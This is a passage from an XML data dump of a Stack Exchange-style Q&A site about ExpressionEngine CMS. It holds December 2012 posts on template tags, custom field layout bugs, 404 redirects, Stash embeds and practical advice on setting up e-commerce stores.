statuses or categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Restored my database&lt;/li&gt;&#xA;&lt;li&gt;Created a new channel and associated it with the same custom field group, statuses and categories.&lt;/li&gt;&#xA;&lt;li&gt;Attempted to add content to that channel&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That channel works fine, so the problem is with the original channel itself :S&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="536" LastEditorUserId="536" LastEditDate="2012-12-14T07:44:17.470" LastActivityDate="2012-12-14T07:44:17.470" Title="Unable to post or update entries after modifying custom field type?" Tags="|custom-fields|bug|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1618" PostTypeId="2" ParentId="1614" CreationDate="2012-12-14T06:00:46.527" Score="3" Body="&lt;p&gt;Is this within the template? If so, you could use a add-on like &lt;a href=&quot;http://www.eec.ms/add-ons/mx-calculator&quot; rel=&quot;nofollow&quot;&gt;MX Calculator&lt;/a&gt; to do the arithmetic. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:mx_calc expression=&quot;{product_weight}*1000&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-12-14T06:00:46.527" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1619" PostTypeId="2" ParentId="1617" CreationDate="2012-12-14T07:15:01.407" Score="5" Body="&lt;p&gt;I have found the source of the error and I believe it to be a bug with ExpressionEngine. I will explain this to the best of my abilities, please feel free to improve the readability of my answer if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is important:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Custom channel.&lt;/li&gt;&#xA;&lt;li&gt;Custom field group.&lt;/li&gt;&#xA;&lt;li&gt;Custom field layout for &quot;Edit Content&quot; control panel page.&lt;/li&gt;&#xA;&lt;li&gt;I had a custom field that was using the built-in &quot;Radio&quot; field type.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I then installed the P&amp;amp;T alternative fields and switched from &quot;Radio&quot; to &quot;P&amp;amp;T Radio&quot;. When I went to the edit screen I amended the arrangement of fields for easier input. From this point I was not able to create new content in my channel nor edit existing content.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How I diagnosed this:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I looked into the &quot;content_publish.php&quot; script because the name &lt;code&gt;content_publish&lt;/code&gt; appeared within the URL: &lt;code&gt;admin.php?S=0&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=2&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I found the method &lt;code&gt;entry_form&lt;/code&gt; and stuck lots of &lt;code&gt;echo&lt;/code&gt; lines in there to see what was going on. It seemed that the form was failing validation tests.&lt;/li&gt;&#xA;&lt;li&gt;I then removed all of the custom fields from my custom field group and performed the same action. Again the form was still failing validation (but with no useful errors, and there is a reason for this which I found shortly later).&lt;/li&gt;&#xA;&lt;li&gt;I examined the HTML of the edit page itself and after about an hour of pulling my hair out I realised that the form still contained all of the fields that I had deleted. So I reset my custom field layout via the expandable toolbar and all of the fields amazingly reappeared (even though they don't exist anymore!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;The Problem:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When custom fields are removed or changed the custom layout data is not automatically updated. However, the custom layout data is being used to prepare the form and because the data is inaccurate (contains fields that have been removed, and is invalid where field types have been changed) the form never validates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But because the fields are not defined any more it was not possible for EE to deliver meaningful validation messages. Though some sort of error message would have been useful :/&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;The Solution:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I restored my database back to its &quot;broken&quot; state and then:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigated to the &quot;Edit Content&quot; page.&lt;/li&gt;&#xA;&lt;li&gt;Expanded the tool bar and clicked &quot;Reset Layout&quot;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Resetting the layout worked this time because I hadn't removed any fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have to reconfigure that layout AGAIN! and I suspect that it will break again in the future for the exact same reasons.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-14T07:15:01.407" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1620" PostTypeId="1" AcceptedAnswerId="1622" CreationDate="2012-12-14T08:49:31.580" Score="2" ViewCount="72" Body="&lt;p&gt;If there are review entries related to the current entry then I would like to display it as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;aside id=&quot;reviews&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Reviews&amp;lt;/h3&amp;gt;&#xA;{reverse_related_entries channel=&quot;review&quot;}&#xA;    &amp;lt;article&amp;gt;&#xA;        &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;        {review_body}&#xA;    &amp;lt;/article&amp;gt;&#xA;{/reverse_related_entries}&#xA;&amp;lt;/aside&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there are no reviews then I do not want to display anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could just add a JavaScript which removes the empty &quot;Reviews&quot; section, but I would rather it wasn't outputted if possible.&lt;/p&gt;&#xA;" OwnerUserId="536" LastActivityDate="2012-12-14T12:45:18.917" Title="How to conditionally enclose a list of reviews with `reverse_related_entries`?" Tags="|templates|related-entries|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1621" PostTypeId="1" AcceptedAnswerId="2166" CreationDate="2012-12-14T09:23:00.167" Score="3" ViewCount="133" Body="&lt;p&gt;I'm getting the standard EE file upload modal showing at the bottom of the cp publish page. Any idea what might be causing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastEditorUserId="104" LastEditDate="2012-12-14T10:26:49.763" LastActivityDate="2012-12-29T18:02:15.787" Title="File manager modal appearing at the bottom of publish page" Tags="|control-panel|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1622" PostTypeId="2" ParentId="1620" CreationDate="2012-12-14T11:16:44.677" Score="6" Body="&lt;p&gt;Wouldn't this work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{reverse_related_entries channel=&quot;review&quot;}&#xA;{if count == &quot;1&quot;}&#xA;&amp;lt;aside id=&quot;reviews&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Reviews&amp;lt;/h3&amp;gt;&#xA;{/if}&#xA;&amp;lt;article&amp;gt;&#xA;    &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt;&#xA;    {review_body}&#xA;&amp;lt;/article&amp;gt;&#xA;{if count == total_results}&amp;lt;/aside&amp;gt;{/if}&#xA;{/reverse_related_entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2012-12-14T11:16:44.677" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1623" PostTypeId="2" ParentId="1520" CreationDate="2012-12-14T11:48:30.793" Score="1" Body="&lt;p&gt;Since you don't need CRUD operations, you could probably do this with simple ajax calls instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE templates would simply return a chunk of markup instead of a whole page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can still use Backbone to tie all the views together and have everything updating in multiple places, but as far as I can see you don't need to be sending JSON backwards and forwards from Backbone models/collections, and therefore don't need RESTfulness...&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2012-12-14T11:53:47.393" LastActivityDate="2012-12-14T11:53:47.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1624" PostTypeId="2" ParentId="1620" CreationDate="2012-12-14T12:45:18.917" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you know off the top of your head if {if count % 4 == 0} works&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd never considered the EE could use modulus. I haven't tested but a quick look at the docs and it isn't listed:&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#comparison-operators&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html#comparison-operators&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this many time by just enabling PHP for the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*NB Not sure how can you to reply to a thread of someone else's answer.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-12-14T12:45:18.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1625" PostTypeId="2" ParentId="1611" CreationDate="2012-12-14T12:57:27.560" Score="2" Body="&lt;p&gt;Even in instances in which logically the client might only need one of something, I sometimes still wind up having a desire to avoid limiting the channel to a single entry for one simple reason - if I do that, all the power of EE's publish and expiry date is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I know for sure that I don't need to provide some of those entry-specific functions, global variables or better yet, low variables, are ideal.  But for something like a homepage's welcome message, as another example of which you may figure there's only the need for one - consider that the client may wish to take advantage of the publish and expiry dates to have a new version of that entry self-publish on a given date/time, while expiring the previous entry.  A retailer, for example, may have seasonal versions of their homepage welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know your example referred to contact details - which would certainly be even less likely to change, and when you need the full range of available fieldtypes, channel entries are helpful.  The reason I chimed in here is to remind you that there are some circumstances in which there may be some advantage, evaluated on a case by case basis, in avoiding limiting the entry to a single item. So an add-on like single entry is excellent for those times when you need the power of channel entries but you can saw with certainty that some of the publishing features that come with a channel entry (like publish and expiry) are not needed.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-14T12:57:27.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1627" PostTypeId="2" ParentId="1341" CreationDate="2012-12-14T15:41:41.547" Score="1" Body="&lt;p&gt;In my experience, any time the home page shows instead of anything, there can be two reasons why it isn't working:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The content you're trying to view is secure and EE redirects to the home page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The path you're trying to access throws a 404 and no 404 has been assigned.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Check the path to your smileys in the general config and be sure that your .htaccess isn't rewriting it incorrectly.&lt;/p&gt;&#xA;" OwnerUserId="342" LastActivityDate="2012-12-14T15:41:41.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1628" PostTypeId="1" CreationDate="2012-12-14T15:43:05.443" Score="6" ViewCount="439" Body="&lt;p&gt;I've been developing EE sites for the past 4 years but haven't had an opportunity to build a site using ecommerce yet. I now have an opportunity to build a simple an ecommerce site and I'm confident that I can implement it with any of the ecommerce modules available, but since I haven't actually done this before I have some VERY basic questions that have more to do with set-up, cost, testing, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has a second to share any info I'd really appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any hidden costs? I know the payment gateways charge a percentage of the sale and have a yearly fee too. The SSL has a fee and setup cost too? Anything else I should be aware of? Payment gateway recommendations?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Speaking of getting an SSL set up is that difficult? I'm think of using EngineHosting any other hosting suggestions or recommendations?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This is a broad question ... What's the most difficult part of creating an online store? I'm just trying to discover any universal pitfalls or annoyances that might be out there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you test the store when you're building it? Do payment gateways allow this? Can I test locally or do I need to use a production server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Anything else I should be aware of? Words of wisdom?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks!!!&lt;/p&gt;&#xA;" OwnerUserId="604" LastEditorUserId="22" LastEditDate="2012-12-14T17:30:12.617" LastActivityDate="2012-12-14T21:50:45.490" Title="I'm new to e-commerce implementation and have a few general questions on what to expect" Tags="|ecommerce|general-knowledge|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1629" PostTypeId="2" ParentId="1615" CreationDate="2012-12-14T16:01:35.623" Score="4" Body="&lt;p&gt;I was able to track this one down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across this post - &lt;a href=&quot;http://ellislab.com/forums/viewthread/168189/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/168189/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like if &lt;code&gt;$config['global_xss_filtering']&lt;/code&gt; is set to &lt;code&gt;TRUE&lt;/code&gt;, all characters are automatically encoded on GET or POST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting it to &lt;code&gt;FALSE&lt;/code&gt; has corrected the issue.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2012-12-14T16:01:35.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1630" PostTypeId="2" ParentId="1560" CreationDate="2012-12-14T16:06:52.283" Score="5" Body="&lt;p&gt;Most of the errors I run into have to do with Safecracker, since I usually build out my stuff in the front-end. I have a rolling fork for it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Saferacker_lib.php (Line 1210) &#xA;&lt;a href=&quot;http://expressionengine.com/bug_tracker/bug/18233&quot;&gt;http://expressionengine.com/bug_tracker/bug/18233&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There is another item I forgot to write down, but it's in the Safecracker API classes that extends the channel entries API.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-14T16:06:52.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1631" PostTypeId="2" ParentId="1560" CreationDate="2012-12-14T16:23:03.787" Score="5" Body="&lt;p&gt;Yes EE has gone for months without a bug fix release. No this doesn't make any sense. But so long as you're being a Smart Developer and backing up as you go you're not likely to encounter any major issues. Just build the site and search the bug tracker if you run into an issue. In all probability most known bugs won't affect you. If something explodes, which is really unlikely, then roll back to your latest DB, revert your Git repo and be on your way.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-12-14T16:23:03.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1632" PostTypeId="2" ParentId="1628" CreationDate="2012-12-14T16:23:53.303" Score="6" Body="&lt;p&gt;I have created a couple of ecommerce sites using Expresso Store. I looked into the other available modules and felt Store was the best for me. I haven't been disappointed - it's easy to use, and they have great customer service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not all modules have a yearly fee, like Paypal. I have used Paypal and also Worldpay, and both allow test transactions. I've not had the need for SSL because the gateways i've used handle the payments on their sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me, the most difficult part of the store creation was the learning curve. But it's not all that difficult (especially as Store comes with simple templates to copy all the important code from), and once I did it once, the others were much easier and took less time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="437" LastActivityDate="2012-12-14T16:23:53.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1633" PostTypeId="1" CreationDate="2012-12-14T18:08:23.790" Score="3" ViewCount="148" Body="&lt;p&gt;I've already emailed the plugin dev about this, but I need to get this working again as soon as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some forms created using ProForms that have been working fine. Today I noticed none of them are submitting. When the submit button is pressed it refreshes the page, the form fields are empty, and my &quot;success&quot; message doesn't display. The submission doesn't appear in the control panel like it should. I don't receive any errors. I haven't changed the templates at all. Yesterday I added some new fields to one of the forms, but had not tested it yet so I don't know if this did something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I don't have too many details, but if someone is familiar with this plugin and might be able to take a look that would be great. We need to fix this urgently, so if you can help out we could throw some bucks your way. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="150" LastEditDate="2012-12-14T18:21:26.250" LastActivityDate="2012-12-14T19:43:55.133" Title="ProForm forms stopped submitting, no errors" Tags="|forms|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1634" PostTypeId="2" ParentId="1633" CreationDate="2012-12-14T18:23:23.830" Score="2" Body="&lt;p&gt;I'd start troubleshooting by removing the new fields that you added yesterday and reverting back to the old template version if you made template changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you seeing any JS errors in your console? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any CSS/HTML issues in validation reports that might be causing issues? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, check your PHP error logs on the actual server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Were there any server changes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you make any other changes to templates, addons etc yesterday?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear browser cache and cookies.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-14T18:23:23.830" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1635" PostTypeId="2" ParentId="1628" CreationDate="2012-12-14T18:41:25.817" Score="6" Body="&lt;p&gt;&lt;strong&gt;Are there any hidden costs? I know the payment gateways charge a percentage of the sale and have a yearly fee too. The SSL has a fee and setup cost too? Anything else I should be aware of? Payment gateway recommendations?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Payment gateway fees are usually monthly and a % of the transaction. SSL has an annual fee as well and much be renewed and reinstalled when it expires. My advice is to pay many years in advance for the SSL so you don't have to deal with an annual renew and reinstall. There may also be fees for the actual merchant account if you need one. I like Authorize.net for payment gateway. I hear good things about Stripe. There are others too that are just fine. You might ask on Twitter at #eecms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Speaking of getting an SSL set up is that difficult? I'm think of using EngineHosting any other hosting suggestions or recommendations?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hosts usually offer an SSL option through their services via a preferred third-party but you don't always need to buy that option. Most let you buy your own SSL and they will install for a small fee. GoDaddy has a promotion for $12.99 a year SSL certificates here which I think is the best price you will find anywhere: &lt;a href=&quot;http://www.godaddy.com/compare/gdcompare3_ssl.aspx&quot;&gt;http://www.godaddy.com/compare/gdcompare3_ssl.aspx&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's the most difficult part of creating an online store? I'm just trying to discover any universal pitfalls or annoyances that might be out there.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I find the hard part to be coding the checkout process and getting that flow working in a way that makes the most sense. I think all the EE carts install basic templates, you then rework as you see fit or just stay with what's in the template. I always rework myself a ton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do you test the store when you're building it? Do payment gateways allow this? Can I test locally or do I need to use a production server?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You put the cart into test mode and the gateway into test mode (if needed) and test away. Each payment gateway will have test credit card numbers in their docs and instructions on generating certain errors. Here are the docs for Authorize.net: &lt;a href=&quot;http://developer.authorize.net/testingfaqs/&quot;&gt;http://developer.authorize.net/testingfaqs/&lt;/a&gt;. You will probably need a production server with the SSL installed so the test transactions are received securely. You'll have to test this. Might be able to test with a local install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anything else I should be aware of? Words of wisdom?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not that hard. Just takes doing the work. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-14T19:16:43.737" LastActivityDate="2012-12-14T19:16:43.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1636" PostTypeId="1" AcceptedAnswerId="1644" CreationDate="2012-12-14T19:13:03.570" Score="2" ViewCount="1648" Body="&lt;p&gt;Most people don't want to get a 404 page, however, I am having issues with a site where 404 pages don't show when you enter an erroneous URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://livefreehomehealthcare.com/products/asdasdasdasd/&quot; rel=&quot;nofollow&quot;&gt;http://livefreehomehealthcare.com/products/asdasdasdasd/&lt;/a&gt; does not exist, but instead of a 404 page, which has been created and works (see example), I get the products page or segment_1 of the URL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that if segment_1 is a valid part of the URL then the strict URL rule that should redirect to the 404 page doesn't fire properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running EE 2.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: MediaGirl suggested below that I use the require_entry=&quot;yes&quot; parameter in the channel tags. I did this and it works &lt;em&gt;too well&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I mean. I am using the index template of the template group for the &quot;home&quot; page for the section so that &quot;our products&quot; shows up as /products/ instead of /products/our-products. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;12&quot;}&#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This displays the content fine, but is also open to 404 failure. So I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; entry_id=&quot;12&quot; require_entry=&quot;yes&quot;}&#xA;{if no_results}{redirect=&quot;404&quot;}{/if}    &#xA;&amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{body}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I do it this way 404 works too well and I can't see the contents of the /product/ page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a happy medium here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas for getting this to work correctly would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2012-12-14T21:23:30.937" LastActivityDate="2017-03-16T01:08:59.670" Title="Why doesn't 404 kick in when a bad URL is entered?" Tags="|redirects|404|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1637" PostTypeId="1" AcceptedAnswerId="1658" CreationDate="2012-12-14T19:16:36.650" Score="4" ViewCount="414" Body="&lt;p&gt;A stripped down example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;sidebar&quot; process=&quot;end&quot;}&#xA;    {embed=&quot;templates/sidebar-events&quot; limit=&quot;3&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The embed tag doesn't get parsed at all, it just prints the literal embed string. I've tried both native embeds and stash embeds, and neither of them work. Anyone know of a workaround? Maybe using priority somehow? Or parse_stage (which I don't get)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally I don't use embeds but in this case I have nested channel:entries tags.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2012-12-15T17:17:20.917" Title="Embeds in stash don't work when using process=&quot;end&quot;" Tags="|stash|embeds|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1638" PostTypeId="2" ParentId="1628" CreationDate="2012-12-14T19:41:19.483" Score="6" Body="&lt;p&gt;One of the most often overlooked features when building an e-commerce site are order fulfillment and unique shipping options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, once an order is placed, who prints the invoices, runs the CC charges, packages the order etc. If its a larger company they probably have people dedicated to this process, how do they get the information they need? Do they log into the EE CP and do fulfillment there or do they have another system to integrate with that they probably forgot to tell you about during the sales process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Items that require unique shipping, e.g. breakable things. I built a site years ago that sold soda. Customers can buy a 12 or 24 pack and have it shipped to them, and also buy a t-shirt. Due to their packaging requirements, read fulfillment, they had to ship any order that contained a 12 or 24 pack in as separate packages, thus shipping fees need to be calculated differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I help quote an e-commerce site I ask these questions and more than half the time I get an &quot;oh, I never thought about that stuff&quot; sort of response.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2012-12-14T19:41:19.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1639" PostTypeId="2" ParentId="1633" CreationDate="2012-12-14T19:43:55.133" Score="2" Body="&lt;p&gt;Thanks for the support MediaGirl and Adrian. The developer helped me out and it turns out it was something I did the other day that messed it up. I was having a different problem with one of my extremely large forms loading slowly. I turned on caching for that template. It didn't do anything (and was the wrong thing to do), and I forgot to turn it off. Once Isaac noticed this I turned it off and everything was ok. Thansk again! &lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2012-12-14T19:43:55.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1640" PostTypeId="2" ParentId="1636" CreationDate="2012-12-14T19:45:51.277" Score="12" Body="&lt;p&gt;There are 3 things that should fix this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Assign your 404 error template in your &quot;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/templates/global_template_preferences.html&quot;&gt;&lt;strong&gt;Global Template Preferences&lt;/strong&gt;&lt;/a&gt;&quot; which can be found at Design &gt; Templates &gt; Template Preferences&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In your &lt;strong&gt;products&lt;/strong&gt; template, add the &lt;code&gt;require_entry=&quot;yes&quot;&lt;/code&gt; parameter to your channel:entries tag&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside that channel:entries tag add the following to redirect incorrect requests to the 404:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;{if no_results}{redirect=&quot;404&quot;}{/if}&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-14T19:45:51.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1641" PostTypeId="1" AcceptedAnswerId="1642" CreationDate="2012-12-14T19:58:56.593" Score="2" ViewCount="243" Body="&lt;p&gt;in exp:resso store, is it possible to display the {price} field without the currency symbol in certain situations? e.g. {raw_price}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to calculate alternative currencies with a currency converter. obviously currency converters only accepts integers without currency symbols...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;stefan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2012-12-14T20:27:17.687" Title="Store {price} field without the currency?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1642" PostTypeId="2" ParentId="1641" CreationDate="2012-12-14T20:27:17.687" Score="3" Body="&lt;p&gt;You can add &lt;code&gt;_val&lt;/code&gt; to most price related fields to get the unformatted price so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{price_val}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would return &quot;20&quot; if your item price was &quot;$20.00&quot;&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2012-12-14T20:27:17.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1643" PostTypeId="2" ParentId="1560" CreationDate="2012-12-14T21:08:48.883" Score="4" Body="&lt;p&gt;There's also this nasty one that prevents you using {path=...} or {encode=...} tags inside your entries. Hotfix here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/18239/&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/18239/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-12-14T21:08:48.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
